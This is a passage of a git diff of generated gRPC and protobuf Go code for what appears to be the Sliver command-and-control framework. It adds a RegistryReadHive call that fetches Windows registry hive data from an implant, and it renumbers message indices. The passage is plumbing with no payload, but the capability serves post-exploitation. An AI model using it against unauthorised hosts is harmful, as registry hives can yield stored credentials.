(*sliverpb.SSHCommand, error) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) @@ -1664,6 +1665,15 @@ func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.R return out, nil } +func (c *sliverRPCClient) RegistryReadHive(ctx context.Context, in *sliverpb.RegistryReadHiveReq, opts ...grpc.CallOption) (*sliverpb.RegistryReadHive, error) { + out := new(sliverpb.RegistryReadHive) + err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryReadHive", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) { out := new(sliverpb.SSHCommand) err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...) @@ -2167,6 +2177,7 @@ type SliverRPCServer interface { RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) + RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) @@ -2661,6 +2672,9 @@ func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliver func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) { return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented") } +func (UnimplementedSliverRPCServer) RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) { + return nil, status.Errorf(codes.Unimplemented, "method RegistryReadHive not implemented") +} func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) { return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented") } @@ -5475,6 +5489,24 @@ func _SliverRPC_RegistryListValues_Handler(srv interface{}, ctx context.Context, return interceptor(ctx, in, info, handler) } +func _SliverRPC_RegistryReadHive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(sliverpb.RegistryReadHiveReq) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).RegistryReadHive(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/rpcpb.SliverRPC/RegistryReadHive", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).RegistryReadHive(ctx, req.(*sliverpb.RegistryReadHiveReq)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(sliverpb.SSHCommandReq) if err := dec(in); err != nil { @@ -6611,6 +6643,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "RegistryListValues", Handler: _SliverRPC_RegistryListValues_Handler, }, + { + MethodName: "RegistryReadHive", + Handler: _SliverRPC_RegistryReadHive_Handler, + }, { MethodName: "RunSSHCommand", Handler: _SliverRPC_RunSSHCommand_Handler, diff --git a/protobuf/sliverpb/constants.go b/protobuf/sliverpb/constants.go index 9372e7d513..e18782822a 100644 --- a/protobuf/sliverpb/constants.go +++ b/protobuf/sliverpb/constants.go @@ -347,6 +347,8 @@ const ( MsgServicesReq MsgServiceDetailReq MsgStartServiceByNameReq + + MsgRegistryReadHiveReq ) // Constants to replace enums @@ -621,6 +623,9 @@ func MsgNumber(request proto.Message) uint32 { case *StartServiceByNameReq: return MsgStartServiceByNameReq + + case *RegistryReadHiveReq: + return MsgRegistryReadHiveReq } return uint32(0) } diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go index 46037fb77b..6a376ac63a 100644 --- a/protobuf/sliverpb/sliver.pb.go +++ b/protobuf/sliverpb/sliver.pb.go @@ -7019,6 +7019,132 @@ func (x *RegistryValuesList) GetResponse() *commonpb.Response { return nil } +type RegistryReadHiveReq struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + RootHive string `protobuf:"bytes,1,opt,name=RootHive,proto3" json:"RootHive,omitempty"` + RequestedHive string `protobuf:"bytes,2,opt,name=RequestedHive,proto3" json:"RequestedHive,omitempty"` + Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"` +} + +func (x *RegistryReadHiveReq) Reset() { + *x = RegistryReadHiveReq{} + if protoimpl.UnsafeEnabled { + mi := &file_sliverpb_sliver_proto_msgTypes[101] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *RegistryReadHiveReq) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RegistryReadHiveReq) ProtoMessage() {} + +func (x *RegistryReadHiveReq) ProtoReflect() protoreflect.Message { + mi := &file_sliverpb_sliver_proto_msgTypes[101] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RegistryReadHiveReq.ProtoReflect.Descriptor instead. +func (*RegistryReadHiveReq) Descriptor() ([]byte, []int) { + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{101} +} + +func (x *RegistryReadHiveReq) GetRootHive() string { + if x != nil { + return x.RootHive + } + return "" +} + +func (x *RegistryReadHiveReq) GetRequestedHive() string { + if x != nil { + return x.RequestedHive + } + return "" +} + +func (x *RegistryReadHiveReq) GetRequest() *commonpb.Request { + if x != nil { + return x.Request + } + return nil +} + +type RegistryReadHive struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Data []byte `protobuf:"bytes,1,opt,name=Data,proto3" json:"Data,omitempty"` + Encoder string `protobuf:"bytes,2,opt,name=Encoder,proto3" json:"Encoder,omitempty"` + Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"` +} + +func (x *RegistryReadHive) Reset() { + *x = RegistryReadHive{} + if protoimpl.UnsafeEnabled { + mi := &file_sliverpb_sliver_proto_msgTypes[102] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *RegistryReadHive) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*RegistryReadHive) ProtoMessage() {} + +func (x *RegistryReadHive) ProtoReflect() protoreflect.Message { + mi := &file_sliverpb_sliver_proto_msgTypes[102] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use RegistryReadHive.ProtoReflect.Descriptor instead. +func (*RegistryReadHive) Descriptor() ([]byte, []int) { + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{102} +} + +func (x *RegistryReadHive) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +func (x *RegistryReadHive) GetEncoder() string { + if x != nil { + return x.Encoder + } + return "" +} + +func (x *RegistryReadHive) GetResponse() *commonpb.Response { + if x != nil { + return x.Response + } + return nil +} + // Tunnel - Tunnel related messages type Tunnel struct { state protoimpl.MessageState @@ -7032,7 +7158,7 @@ type Tunnel struct { func (x *Tunnel) Reset() { *x = Tunnel{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[101] + mi := &file_sliverpb_sliver_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7045,7 +7171,7 @@ func (x *Tunnel) String() string { func (*Tunnel) ProtoMessage() {} func (x *Tunnel) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[101] + mi := &file_sliverpb_sliver_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7058,7 +7184,7 @@ func (x *Tunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use Tunnel.ProtoReflect.Descriptor instead. func (*Tunnel) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{101} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{103} } func (x *Tunnel) GetTunnelID() uint64 { @@ -7094,7 +7220,7 @@ type TunnelData struct { func (x *TunnelData) Reset() { *x = TunnelData{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[102] + mi := &file_sliverpb_sliver_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7107,7 +7233,7 @@ func (x *TunnelData) String() string { func (*TunnelData) ProtoMessage() {} func (x *TunnelData) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[102] + mi := &file_sliverpb_sliver_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7120,7 +7246,7 @@ func (x *TunnelData) ProtoReflect() protoreflect.Message { // Deprecated: Use TunnelData.ProtoReflect.Descriptor instead. func (*TunnelData) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{102} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{104} } func (x *TunnelData) GetData() []byte { @@ -7202,7 +7328,7 @@ type ShellReq struct { func (x *ShellReq) Reset() { *x = ShellReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[103] + mi := &file_sliverpb_sliver_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7215,7 +7341,7 @@ func (x *ShellReq) String() string { func (*ShellReq) ProtoMessage() {} func (x *ShellReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[103] + mi := &file_sliverpb_sliver_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7228,7 +7354,7 @@ func (x *ShellReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellReq.ProtoReflect.Descriptor instead. func (*ShellReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{103} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{105} } func (x *ShellReq) GetPath() string { @@ -7282,7 +7408,7 @@ type Shell struct { func (x *Shell) Reset() { *x = Shell{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[104] + mi := &file_sliverpb_sliver_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7295,7 +7421,7 @@ func (x *Shell) String() string { func (*Shell) ProtoMessage() {} func (x *Shell) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[104] + mi := &file_sliverpb_sliver_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7308,7 +7434,7 @@ func (x *Shell) ProtoReflect() protoreflect.Message { // Deprecated: Use Shell.ProtoReflect.Descriptor instead. func (*Shell) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{104} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{106} } func (x *Shell) GetPath() string { @@ -7361,7 +7487,7 @@ type PortfwdReq struct { func (x *PortfwdReq) Reset() { *x = PortfwdReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[105] + mi := &file_sliverpb_sliver_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7374,7 +7500,7 @@ func (x *PortfwdReq) String() string { func (*PortfwdReq) ProtoMessage() {} func (x *PortfwdReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[105] + mi := &file_sliverpb_sliver_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7387,7 +7513,7 @@ func (x *PortfwdReq) ProtoReflect() protoreflect.Message { // Deprecated: Use PortfwdReq.ProtoReflect.Descriptor instead. func (*PortfwdReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{105} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{107} } func (x *PortfwdReq) GetPort() uint32 { @@ -7440,7 +7566,7 @@ type Portfwd struct { func (x *Portfwd) Reset() { *x = Portfwd{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[106] + mi := &file_sliverpb_sliver_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7453,7 +7579,7 @@ func (x *Portfwd) String() string { func (*Portfwd) ProtoMessage() {} func (x *Portfwd) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[106] + mi := &file_sliverpb_sliver_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7466,7 +7592,7 @@ func (x *Portfwd) ProtoReflect() protoreflect.Message { // Deprecated: Use Portfwd.ProtoReflect.Descriptor instead. func (*Portfwd) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{106} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{108} } func (x *Portfwd) GetPort() uint32 { @@ -7516,7 +7642,7 @@ type Socks struct { func (x *Socks) Reset() { *x = Socks{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[107] + mi := &file_sliverpb_sliver_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7529,7 +7655,7 @@ func (x *Socks) String() string { func (*Socks) ProtoMessage() {} func (x *Socks) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[107] + mi := &file_sliverpb_sliver_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7542,7 +7668,7 @@ func (x *Socks) ProtoReflect() protoreflect.Message { // Deprecated: Use Socks.ProtoReflect.Descriptor instead. func (*Socks) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{107} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{109} } func (x *Socks) GetTunnelID() uint64 { @@ -7576,7 +7702,7 @@ type SocksData struct { func (x *SocksData) Reset() { *x = SocksData{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[108] + mi := &file_sliverpb_sliver_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7589,7 +7715,7 @@ func (x *SocksData) String() string { func (*SocksData) ProtoMessage() {} func (x *SocksData) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[108] + mi := &file_sliverpb_sliver_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7602,7 +7728,7 @@ func (x *SocksData) ProtoReflect() protoreflect.Message { // Deprecated: Use SocksData.ProtoReflect.Descriptor instead. func (*SocksData) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{108} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{110} } func (x *SocksData) GetData() []byte { @@ -7668,7 +7794,7 @@ type PivotStartListenerReq struct { func (x *PivotStartListenerReq) Reset() { *x = PivotStartListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[109] + mi := &file_sliverpb_sliver_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7681,7 +7807,7 @@ func (x *PivotStartListenerReq) String() string { func (*PivotStartListenerReq) ProtoMessage() {} func (x *PivotStartListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[109] + mi := &file_sliverpb_sliver_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7694,7 +7820,7 @@ func (x *PivotStartListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotStartListenerReq.ProtoReflect.Descriptor instead. func (*PivotStartListenerReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{109} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{111} } func (x *PivotStartListenerReq) GetType() PivotType { @@ -7737,7 +7863,7 @@ type PivotStopListenerReq struct { func (x *PivotStopListenerReq) Reset() { *x = PivotStopListenerReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[110] + mi := &file_sliverpb_sliver_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7750,7 +7876,7 @@ func (x *PivotStopListenerReq) String() string { func (*PivotStopListenerReq) ProtoMessage() {} func (x *PivotStopListenerReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[110] + mi := &file_sliverpb_sliver_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7763,7 +7889,7 @@ func (x *PivotStopListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotStopListenerReq.ProtoReflect.Descriptor instead. func (*PivotStopListenerReq) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{110} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{112} } func (x *PivotStopListenerReq) GetID() uint32 { @@ -7795,7 +7921,7 @@ type PivotListener struct { func (x *PivotListener) Reset() { *x = PivotListener{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[111] + mi := &file_sliverpb_sliver_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7808,7 +7934,7 @@ func (x *PivotListener) String() string { func (*PivotListener) ProtoMessage() {} func (x *PivotListener) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[111] + mi := &file_sliverpb_sliver_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7821,7 +7947,7 @@ func (x *PivotListener) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotListener.ProtoReflect.Descriptor instead. func (*PivotListener) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{111} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{113} } func (x *PivotListener) GetID() uint32 { @@ -7873,7 +7999,7 @@ type PivotHello struct { func (x *PivotHello) Reset() { *x = PivotHello{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[112] + mi := &file_sliverpb_sliver_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7886,7 +8012,7 @@ func (x *PivotHello) String() string { func (*PivotHello) ProtoMessage() {} func (x *PivotHello) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[112] + mi := &file_sliverpb_sliver_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7899,7 +8025,7 @@ func (x *PivotHello) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotHello.ProtoReflect.Descriptor instead. func (*PivotHello) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{112} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{114} } func (x *PivotHello) GetPublicKey() []byte { @@ -7942,7 +8068,7 @@ type PivotServerKeyExchange struct { func (x *PivotServerKeyExchange) Reset() { *x = PivotServerKeyExchange{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[113] + mi := &file_sliverpb_sliver_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7955,7 +8081,7 @@ func (x *PivotServerKeyExchange) String() string { func (*PivotServerKeyExchange) ProtoMessage() {} func (x *PivotServerKeyExchange) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[113] + mi := &file_sliverpb_sliver_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7968,7 +8094,7 @@ func (x *PivotServerKeyExchange) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotServerKeyExchange.ProtoReflect.Descriptor instead. func (*PivotServerKeyExchange) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{113} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{115} } func (x *PivotServerKeyExchange) GetOriginID() int64 { @@ -7997,7 +8123,7 @@ type PivotPeer struct { func (x *PivotPeer) Reset() { *x = PivotPeer{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[114] + mi := &file_sliverpb_sliver_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8010,7 +8136,7 @@ func (x *PivotPeer) String() string { func (*PivotPeer) ProtoMessage() {} func (x *PivotPeer) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[114] + mi := &file_sliverpb_sliver_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8023,7 +8149,7 @@ func (x *PivotPeer) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotPeer.ProtoReflect.Descriptor instead. func (*PivotPeer) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{114} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{116} } func (x *PivotPeer) GetPeerID() int64 { @@ -8055,7 +8181,7 @@ type PivotPeerEnvelope struct { func (x *PivotPeerEnvelope) Reset() { *x = PivotPeerEnvelope{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[115] + mi := &file_sliverpb_sliver_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8068,7 +8194,7 @@ func (x *PivotPeerEnvelope) String() string { func (*PivotPeerEnvelope) ProtoMessage() {} func (x *PivotPeerEnvelope) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[115] + mi := &file_sliverpb_sliver_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8081,7 +8207,7 @@ func (x *PivotPeerEnvelope) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotPeerEnvelope.ProtoReflect.Descriptor instead. func (*PivotPeerEnvelope) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{115} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{117} } func (x *PivotPeerEnvelope) GetPeers() []*PivotPeer { @@ -8130,7 +8256,7 @@ type PivotPing struct { func (x *PivotPing) Reset() { *x = PivotPing{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[116] + mi := &file_sliverpb_sliver_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8143,7 +8269,7 @@ func (x *PivotPing) String() string { func (*PivotPing) ProtoMessage() {} func (x *PivotPing) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[116] + mi := &file_sliverpb_sliver_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8156,7 +8282,7 @@ func (x *PivotPing) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotPing.ProtoReflect.Descriptor instead. func (*PivotPing) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{116} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{118} } func (x *PivotPing) GetNonce() uint32 { @@ -8178,7 +8304,7 @@ type NetConnPivot struct { func (x *NetConnPivot) Reset() { *x = NetConnPivot{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[117] + mi := &file_sliverpb_sliver_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8191,7 +8317,7 @@ func (x *NetConnPivot) String() string { func (*NetConnPivot) ProtoMessage() {} func (x *NetConnPivot) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[117] + mi := &file_sliverpb_sliver_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8204,7 +8330,7 @@ func (x *NetConnPivot) ProtoReflect() protoreflect.Message { // Deprecated: Use NetConnPivot.ProtoReflect.Descriptor instead. func (*NetConnPivot) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{117} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{119} } func (x *NetConnPivot) GetPeerID() int64 { @@ -8234,7 +8360,7 @@ type PivotPeerFailure struct { func (x *PivotPeerFailure) Reset() { *x = PivotPeerFailure{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[118] + mi := &file_sliverpb_sliver_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8247,7 +8373,7 @@ func (x *PivotPeerFailure) String() string { func (*PivotPeerFailure) ProtoMessage() {} func (x *PivotPeerFailure) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[118] + mi := &file_sliverpb_sliver_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8260,7 +8386,7 @@ func (x *PivotPeerFailure) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotPeerFailure.ProtoReflect.Descriptor instead. func (*PivotPeerFailure) Descriptor() ([]byte, []int) { - return file_sliverpb_sliver_proto_rawDescGZIP(), []int{118} + return file_sliverpb_sliver_proto_rawDescGZIP(), []int{120} } func (x *PivotPeerFailure) GetPeerID() int64 { @@ -8295,7 +8421,7 @@ type PivotListenersReq struct { func (x *PivotListenersReq) Reset() { *x = PivotListenersReq{} if protoimpl.UnsafeEnabled { - mi := &file_sliverpb_sliver_proto_msgTypes[119] + mi := &file_sliverpb_sliver_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8308,7 +8434,7 @@ func (x *PivotListenersReq) String() string { func (*PivotListenersReq) ProtoMessage() {} func (x *PivotListenersReq) ProtoReflect() protoreflect.Message { - mi := &file_sliverpb_sliver_proto_msgTypes[119] + mi := &file_sliverpb_sliver_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if 